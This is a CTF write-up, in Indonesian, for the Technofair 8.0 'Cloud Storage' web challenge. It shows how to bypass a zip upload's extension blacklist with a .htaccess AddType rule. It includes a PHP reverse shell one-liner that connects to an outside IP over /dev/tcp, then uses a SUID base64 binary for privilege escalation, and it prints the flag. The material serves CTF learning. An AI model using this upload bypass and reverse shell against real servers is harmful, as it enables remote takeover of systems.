[Technofair 8.0] Cloud Storage

ctf, web

Diberikan soal dan sebuah website dengan deskripsi seperti berikut

Cloud Storage

Description
Sambil menunggu developer front end kami menyelesaikan tugasnya, kami ingin meminta anda untuk menguji sistem cloud storage yang baru saja kami buat dan masih dalam tahap pengembangan, bisakah anda menemukan celah apa aja yang ada dalam sistem kami

http://103.152.242.172:20052
Author: brokenheart

Setelah website dibuka, website terdapat form Upload File yang berjalan pada Apache Web Server

Upload file

Form Upload File ini hanya menerima extensi file zip yang nantinya akan di extract pada sebuah folder di server sehingga kita dapat mengakses file-file yang sudah kita Upload.

Tetapi ada blacklist extension pada file yang ada di dalam zip, seperti .php, .php4, .php5, .shtml, .phtml. Syedich 🥲

Tenang… masih ada satu cara untuk kita mengupload backdoor / shell untuk mendapatkan Remote Command Execution (RCE).

Kita dapat menggunakan file .htaccess agar dapat menjalankan PHP tanpa file extensionnya PHP.

.htaccess
adalah file konfigurasi pada level direktori yang dapat menambahkan atau memodifikasi pengaturan tambahan pada website kita\

Sumber: Wikipedia & https://www.goldenfast.net/blog/pengertian-htaccess/

Pada Stackoverflow kita dapat melakukan seperti ini. Sehingga isi dari file zip berisi dua file:

a.jpg adalah file PHP dengan extension jpg yang berguna sebagai Reverse Shell

<?php system("bash -c 'bash -i >& /dev/tcp/3.128.107.74/15019 0>&1'"); ?>

.htaccess

AddType application/x-httpd-php .jpg

File .htaccess disini berguna untuk memerintahkan Apache, disaat user membuka suatu file dengan extension .jpg, file .jpg tersebut akan dibuka dan dijalankan layaknya file PHP.

Set Up listener menggunakan Netcat lalu upload file zip tersebut dan buka a.jpg pada browser, maka kita akan mendapatkan shell

Shell

Kita mendapatkan hint bahwa flagnya terdapat pada /root/flag.txt yang dimana direktori /root tidak dapat diakses dari low privilege user, yang berarti kita harus melakukan Privilege Escalation.

Setelah mencari, kita mendapatkan SUID binary yaitu base64 yang dapat kita manfaatkan untuk membaca flag pada direktori /root

Flag *flag yang sangat membagongkan

technofair{jago_banget_sih_kamu_tapi_sayang_kamu_masih_belom_ bisa_bobol_hati_dia}